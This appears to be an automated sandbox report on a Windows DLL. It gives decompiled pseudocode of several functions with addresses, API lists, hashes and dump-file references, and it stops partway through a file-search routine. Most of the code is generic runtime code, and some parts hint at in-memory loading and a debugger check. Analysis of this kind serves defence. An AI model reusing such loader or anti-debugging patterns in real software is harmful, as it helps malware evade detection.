0x6ef5bf80
0x6ef5bf6e
0x6ef5bf86
0x6ef5bfc3
0x6ef5bfc9
0x6ef5bfcb
0x6ef5bfcf
0x6ef5bfd1
0x6ef5bfd1
0x6ef5bfdd
0x6ef5bfe0
0x00000000
0x6ef5bf88
0x6ef5bf8f
0x6ef5bfc0
0x00000000
0x6ef5bf91
0x6ef5bf9d
0x00000000
0x6ef5bfa3
0x6ef5bfa3
0x6ef5bfa6
0x6ef5bfa9
0x6ef5bfab
0x6ef5bfae
0x6ef5bfb1
0x6ef5bfb3
0x6ef5bfb6
0x6ef5bfb9
0x6ef5bfbc
0x00000000
0x6ef5bfbc
0x6ef5bf9d
0x6ef5bf8f
0x00000000
0x6ef5bfe3
0x6ef5bfe9
0x6ef5bfec
0x6ef5bff3
0x6ef5bff6
0x6ef5bff9
0x6ef5bffc
0x6ef5bffc
0x00000000
0x6ef5bf50
0x6ef5bf3c
0x6ef5bd06
0x6ef5bd06
0x6ef5bd10
0x6ef5bd10
0x6ef5bd15
0x6ef5bd60
0x6ef5bddc
0x00000000
0x6ef5bd62
0x6ef5bd75
0x6ef5bd77
0x6ef5bd7c
0x00000000
0x6ef5bd7e
0x6ef5bd89
0x6ef5bd8e
0x6ef5bd93
0x00000000
0x6ef5bd93
0x6ef5bd7c
0x6ef5bd17
0x6ef5bd1d
0x6ef5bd23
0x00000000
0x6ef5bd25
0x6ef5bd38
0x6ef5bd3a
0x6ef5bd3f
0x00000000
0x6ef5bd45
0x6ef5bd4e
0x6ef5bd51
0x6ef5bd96
0x6ef5bd96
0x6ef5bd99
0x00000000
0x6ef5bd99
0x6ef5bd3f
0x6ef5bd23
0x00000000
0x6ef5bd9c
0x6ef5bd9c
0x6ef5bd9e
0x6ef5bda4
0x6ef5bda5
0x6ef5bdac
0x6ef5bdb4
0x00000000
0x6ef5bdb4
0x6ef5bd00
0x6ef5bc48
0x6ef5bc51
0x00000000
0x6ef5bc51
0x6ef5bc18
0x6ef5bc21
0x6ef5bc23
0x6ef5bc28
0x6ef5bc57
0x6ef5bc57
0x6ef5c0b5
0x6ef5c0b5
0x6ef5c0cd
0x00000000
0x00000000
0x00000000
0x6ef5bc28
0x6ef5bc16
0x6ef5bbf8
0x6ef5bba1
0x00000000
0x00000000
0x00000000
0x6ef5bb70
0x6ef5bb5c
0x00000000

APIs

GetNativeSystemInfo.KERNEL32(?,-00000017,00000000,00000000), ref: 6EF5BBD9
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 6EF5BC0F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 6EF5BC21
HeapAlloc.KERNEL32(00000000), ref: 6EF5BC39
VirtualFree.KERNEL32(?,00000000,00008000), ref: 6EF5BC51

Part of subcall function 6EF5B840: SetLastError.KERNEL32(0000000D,6EF5BCAC), ref: 6EF5B846

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6EF5BCC1
SetLastError.KERNEL32(0000000D), ref: 6EF5BDDC
HeapFree.KERNEL32(00000000), ref: 6EF5BE49
SetLastError.KERNEL32(0000000D,-00000017,00000000,00000000), ref: 6EF5C0B5

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual$ErrorLast$FreeHeap$InfoNativeSystem
String ID:
API String ID: 2732102410-0
Opcode ID: 0e98cd75c54bced18932cd234f8a105274c0790d4af7250aaa59a6764fcf88c8
Instruction ID: a09f9c370834bb8926020d8dffdbcd971e690e79da4f74b0157ea331853bac60
Opcode Fuzzy Hash: 0e98cd75c54bced18932cd234f8a105274c0790d4af7250aaa59a6764fcf88c8
Instruction Fuzzy Hash: 7C129A71A006099FDB50CFA8C8A0BA9B7F5FFA8304F144569E919EB349D731E861CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5FF39, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EF5FF39(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4, char _a8, char _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x6ef8609c; // 0x1c6423b5
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E6EF5CFBC(_t41);
					_pop(_t62);
				}
				E6EF5D230(_t67,  &_v804, 0, 0x50);
				E6EF5D230(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_t23 =  &_v0; // 0x5f000001
				_v540 =  *_t23;
				_t25 =  &_v0; // 0x6ef59ed2
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_t28 = _t49 - 4; // 0x3c248c8b
				_v544 =  *_t28;
				_t30 =  &_a8; // 0x2780
				_v804 =  *_t30;
				_t32 =  &_a12; // 0xc35de58b
				_v800 =  *_t32;
				_t34 =  &_v0; // 0x5f000001
				_v792 =  *_t34;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // 0x6ef59ba6
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_t38 =  &_a4; // 0xe8cc335e
					_push( *_t38);
					E6EF5CFBC(_t57);
				}
				_t39 =  &_v8; // 0xfffe8141
				return E6EF5C65E( *_t39 ^ _t70);
			}

0x6ef5ff39
0x6ef5ff39
0x6ef5ff39
0x6ef5ff39
0x6ef5ff44
0x6ef5ff49
0x6ef5ff4b
0x6ef5ff53
0x6ef5ff55
0x6ef5ff58
0x6ef5ff5d
0x6ef5ff5d
0x6ef5ff69
0x6ef5ff7c
0x6ef5ff8a
0x6ef5ff90
0x6ef5ff96
0x6ef5ff9c
0x6ef5ffa2
0x6ef5ffa8
0x6ef5ffae
0x6ef5ffb4
0x6ef5ffba
0x6ef5ffc0
0x6ef5ffc7
0x6ef5ffce
0x6ef5ffd5
0x6ef5ffdc
0x6ef5ffe3
0x6ef5ffea
0x6ef5ffeb
0x6ef5fff1
0x6ef5fff4
0x6ef5fffa
0x6ef5fffa
0x6ef5fffd
0x6ef60003
0x6ef6000d
0x6ef60010
0x6ef60016
0x6ef60019
0x6ef6001f
0x6ef60022
0x6ef60028
0x6ef6002b
0x6ef60039
0x6ef6003b
0x6ef60041
0x6ef60050
0x6ef6005c
0x6ef6005c
0x6ef6005f
0x6ef60064
0x6ef60065
0x6ef60073

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,6EF5C0D0), ref: 6EF60031
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,6EF5C0D0), ref: 6EF6003B
UnhandledExceptionFilter.KERNEL32(6EF59BA6,?,?,?,?,?,6EF5C0D0), ref: 6EF60048

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9b261cdf675c8b9a21efeb1b42baac6d49a6c431a271bf0e5b7a34e4c2ce210c
Instruction ID: 9da0f65c8f13a44d49e0e214977dd26a20877d6ba44c88ff0f0ba45d6f049ee8
Opcode Fuzzy Hash: 9b261cdf675c8b9a21efeb1b42baac6d49a6c431a271bf0e5b7a34e4c2ce210c
Instruction Fuzzy Hash: 6531377591122CABCF61CF64C9887CDBBB8BF18310F1045DAE81CA7250EB309B858F55

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5F416, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF5F416(int _a4) {
				void* _t14;

				if(E6EF614AE(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E6EF5F49B(_t14, _a4);
				ExitProcess(_a4);
			}

0x6ef5f423
0x6ef5f43f
0x6ef5f43f
0x6ef5f448
0x6ef5f451

APIs

GetCurrentProcess.KERNEL32(?,?,6EF5F415,?,00000001,?,?), ref: 6EF5F438
TerminateProcess.KERNEL32(00000000,?,6EF5F415,?,00000001,?,?), ref: 6EF5F43F
ExitProcess.KERNEL32 ref: 6EF5F451

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b1dab5508433d600ff81d9b1cfe0b9bcb4b7fa9e5b986e74283306dbff27265c
Instruction ID: 84e9ca5038b0ba6c4a77cb835383fe6932980dc18e4d2290115bbd1c59a50f32
Opcode Fuzzy Hash: b1dab5508433d600ff81d9b1cfe0b9bcb4b7fa9e5b986e74283306dbff27265c
Instruction Fuzzy Hash: EEE08633010984BFCFD15F90C92CBA83F28EF52251B108814F41896220CB75D991CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5C280, Relevance: 2.6, APIs: 2, Instructions: 53
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EF5C280(void* _a4) {
				void* _t14;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t25;
				intOrPtr _t26;
				signed int _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t30 = _a4;
				if(_t30 != 0) {
					_t2 = _t30 + 0x30; // 0x2be9cccc
					E6EF5E93F( *_t2);
					_t3 = _t30 + 8; // 0xe8cc335e
					_t16 =  *_t3;
					_t32 = _t31 + 4;
					if(_t16 == 0) {
						L9:
						_t11 = _t30 + 4; // 0x5f000001
						_t17 =  *_t11;
						if(_t17 != 0) {
							_t12 = _t30 + 0x34; // 0xcc000027
							_t13 = _t30 + 0x20; // 0xc033cccc
							 *((intOrPtr*)( *_t13))(_t17, 0, 0x8000,  *_t12);
						}
						return HeapFree(GetProcessHeap(), 0, _t30);
					}
					_t28 = 0;
					if( *((intOrPtr*)(_t30 + 0xc)) <= 0) {
						L8:
						E6EF5E93F(_t16);
						_t32 = _t32 + 4;
						goto L9;
					}
					_t26 = _t16;
					do {
						_t25 =  *((intOrPtr*)(_t16 + _t28 * 4));
						if(_t25 != 0) {
							_t7 = _t30 + 0x34; // 0xcc000027
							_t8 = _t30 + 0x2c; // 0xcccccccc
							 *((intOrPtr*)( *_t8))(_t25,  *_t7);
							_t9 = _t30 + 8; // 0xe8cc335e
							_t16 =  *_t9;
							_t32 = _t32 + 8;
							_t26 = _t16;
						}
						_t28 = _t28 + 1;
						_t10 = _t30 + 0xc; // 0x2780
					} while (_t28 <  *_t10);
					_t16 = _t26;
					goto L8;
				}
				return _t14;
			}

0x6ef5c284
0x6ef5c289
0x6ef5c28b
0x6ef5c28e
0x6ef5c293
0x6ef5c293
0x6ef5c296
0x6ef5c29b
0x6ef5c2d1
0x6ef5c2d1
0x6ef5c2d1
0x6ef5c2d6
0x6ef5c2d8
0x6ef5c2e3
0x6ef5c2e6
0x6ef5c2e8
0x00000000
0x6ef5c2f5
0x6ef5c29e
0x6ef5c2a3
0x6ef5c2c7
0x6ef5c2c8
0x6ef5c2cd
0x00000000
0x6ef5c2d0
0x6ef5c2a5
0x6ef5c2a7
0x6ef5c2a7
0x6ef5c2ac
0x6ef5c2ae
0x6ef5c2b1
0x6ef5c2b5
0x6ef5c2b7
0x6ef5c2b7
0x6ef5c2ba
0x6ef5c2bd
0x6ef5c2bd
0x6ef5c2bf
0x6ef5c2c0
0x6ef5c2c0
0x6ef5c2c5
0x00000000
0x6ef5c2c5
0x6ef5c2fd

APIs

Part of subcall function 6EF5E93F: _free.LIBCMT ref: 6EF5E952

GetProcessHeap.KERNEL32(00000000,6EF59ECE,00023400), ref: 6EF5C2EE
HeapFree.KERNEL32(00000000), ref: 6EF5C2F5

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess_free
String ID:
API String ID: 3045083223-0
Opcode ID: 7d7adf382bbd0ff7a55006ad159fc0bfdc3832268fa8c803b5b96fd5e9f3bcef
Instruction ID: d8256d4ca8f1a28a71afce1eb0bb8d9af15cfb2784c6790b0ce50a3691892111
Opcode Fuzzy Hash: 7d7adf382bbd0ff7a55006ad159fc0bfdc3832268fa8c803b5b96fd5e9f3bcef
Instruction Fuzzy Hash: F501B532700A01ABD7A09BE9CC20F5777E9BFF4A14B004C29E55ADBB51DA31F821CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6EF66564, Relevance: 1.8, APIs: 1, Instructions: 274
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6EF66564(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E6EF65F8B(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E6EF65EF1(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x6ef66572
0x6ef66579
0x6ef6657e
0x6ef66584
0x6ef66587
0x6ef6658d
0x6ef66592
0x6ef66597
0x6ef66597
0x6ef6659d
0x6ef665a2
0x6ef665a7
0x6ef665a7
0x6ef665ae
0x6ef665b3
0x6ef665b8
0x6ef665b8
0x6ef665bf
0x6ef665c4
0x6ef665c9
0x6ef665c9
0x6ef665d0
0x6ef665d5
0x6ef665da
0x6ef665da
0x6ef665e2
0x6ef665f2
0x6ef66604
0x6ef66616
0x6ef66629
0x6ef6663b
0x6ef66643
0x6ef66648
0x6ef6664d
0x6ef6664d
0x6ef66654
0x6ef66659
0x6ef66659
0x6ef66660
0x6ef66665
0x6ef66665
0x6ef6666c
0x6ef66671
0x6ef66671
0x6ef66678
0x6ef6667d
0x6ef6667d
0x6ef66687
0x6ef66689
0x6ef666c3
0x6ef6668b
0x6ef66690
0x6ef666b4
0x6ef666bc
0x6ef666b0
0x6ef666b0
0x6ef666c6
0x6ef666cd
0x6ef666cf
0x6ef666f1
0x6ef666f9
0x6ef666fc
0x6ef666fc
0x6ef666fe
0x6ef666fe
0x6ef66709
0x6ef6670f
0x6ef66714
0x6ef6671b
0x6ef66755
0x6ef66760
0x6ef66766
0x6ef66769
0x6ef6676c
0x6ef66778
0x6ef66780
0x6ef6671d
0x6ef66720
0x6ef6672c
0x6ef66732
0x6ef66738
0x6ef6673b
0x6ef66744
0x6ef66744
0x6ef66783
0x6ef66791
0x6ef66797
0x6ef6679a
0x6ef6679f
0x6ef667a1
0x6ef667a4
0x6ef667a4
0x6ef667a9
0x6ef667ab
0x6ef667ae
0x6ef667ae
0x6ef667b3
0x6ef667b5
0x6ef667b8
0x6ef667b8
0x6ef667bd
0x6ef667bf
0x6ef667c2
0x6ef667c2
0x6ef667c7
0x6ef667c9
0x6ef667c9
0x6ef667d6
0x6ef667d9
0x6ef66810
0x6ef667db
0x6ef667db
0x6ef667de
0x6ef66809
0x6ef667fe
0x6ef667fe
0x6ef66812
0x6ef6681a
0x6ef6681d
0x6ef6683c
0x6ef66841
0x6ef66841
0x6ef66843
0x6ef66848
0x6ef66854
0x6ef6684a
0x6ef6684d
0x6ef6684d
0x6ef66859
0x6ef66859
0x6ef6681f
0x6ef66822
0x6ef66831
0x00000000
0x6ef66831
0x6ef66824
0x6ef66827
0x6ef66829
0x6ef66829
0x00000000
0x6ef66827
0x6ef667e0
0x6ef667e3
0x6ef667f9
0x00000000
0x6ef667f9
0x6ef667e8
0x6ef667ea
0x6ef667ea
0x6ef667e8
0x00000000
0x6ef667d9
0x6ef666d6
0x6ef666e4
0x6ef666ec
0x00000000
0x6ef666ec
0x6ef666da
0x6ef666df
0x6ef666df
0x00000000
0x6ef666da
0x6ef66697
0x6ef666a5
0x6ef666ad
0x00000000
0x6ef666ad
0x6ef6669b
0x6ef666a0
0x6ef666a0
0x6ef6669b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6EF6655F,?,?,00000008,?,?,6EF661F3,00000000), ref: 6EF66791

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: dc36d21e5affdde54a75baa8f0a20f777832ede1074adf22146abae2e85f992d
Instruction ID: e08d0f98a436b384a677377cf076592fd181e96aadf84ceb5a2aca70121779c5
Opcode Fuzzy Hash: dc36d21e5affdde54a75baa8f0a20f777832ede1074adf22146abae2e85f992d
Instruction Fuzzy Hash: 68B16B72620609DFD744CF68C4A6B557BA0FF05364F268658F8A9CF2A1C736EA91CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6188A, Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EF6188A(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				union _FINDEX_INFO_LEVELS _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				intOrPtr* _v612;
				union _FINDEX_INFO_LEVELS _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				union _FINDEX_INFO_LEVELS _v636;
				signed int _v640;
				signed int _v644;
				union _FINDEX_INFO_LEVELS _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				signed int _v664;
				union _FINDEX_INFO_LEVELS _v668;
				union _FINDEX_INFO_LEVELS _v672;
				intOrPtr _t68;
				signed int _t73;
				signed int _t75;
				char _t77;
				signed char _t78;
				signed int _t84;
				signed int _t94;
				signed int _t97;
				union _FINDEX_INFO_LEVELS _t98;
				intOrPtr* _t106;
				signed int _t109;
				intOrPtr _t117;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				void* _t127;
				union _FINDEX_INFO_LEVELS _t128;
				intOrPtr* _t131;
				intOrPtr* _t134;
				signed int _t136;
				intOrPtr* _t139;
				signed int _t144;
				signed int _t150;
				void* _t156;
				void* _t157;
				signed int _t160;
				intOrPtr _t162;
				void* _t167;
				void* _t168;
				signed int _t170;
				signed int _t173;
				void* _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				_push(__ecx);
				_t134 = _a4;
				_t2 = _t134 + 1; // 0x1
				_t156 = _t2;
				do {
					_t68 =  *_t134;
					_t134 = _t134 + 1;
				} while (_t68 != 0);
				_push(__edi);
				_t160 = _a12;
				_t136 = _t134 - _t156 + 1;
				_v8 = _t136;
				if(_t136 <=  !_t160) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t160 + 1; // 0x1
					_t127 = _t5 + _t136;
					_t167 = E6EF601B7(_t136, _t127, 1);
					__eflags = _t160;
					if(_t160 == 0) {
						L7:
						_push(_v8);
						_t127 = _t127 - _t160;
						_t73 = E6EF64A43(_t167 + _t160, _t127, _a4);
						_t175 = _t174 + 0x10;
						__eflags = _t73;
						if(_t73 != 0) {
							goto L12;
						} else {
							_t131 = _a16;
							_t119 = E6EF61C8B(_t131);
							_v8 = _t119;
							__eflags = _t119;
							if(_t119 == 0) {
								 *( *(_t131 + 4)) = _t167;
								_t170 = 0;
								_t14 = _t131 + 4;
								 *_t14 =  *(_t131 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E6EF5FEFF(_t167);
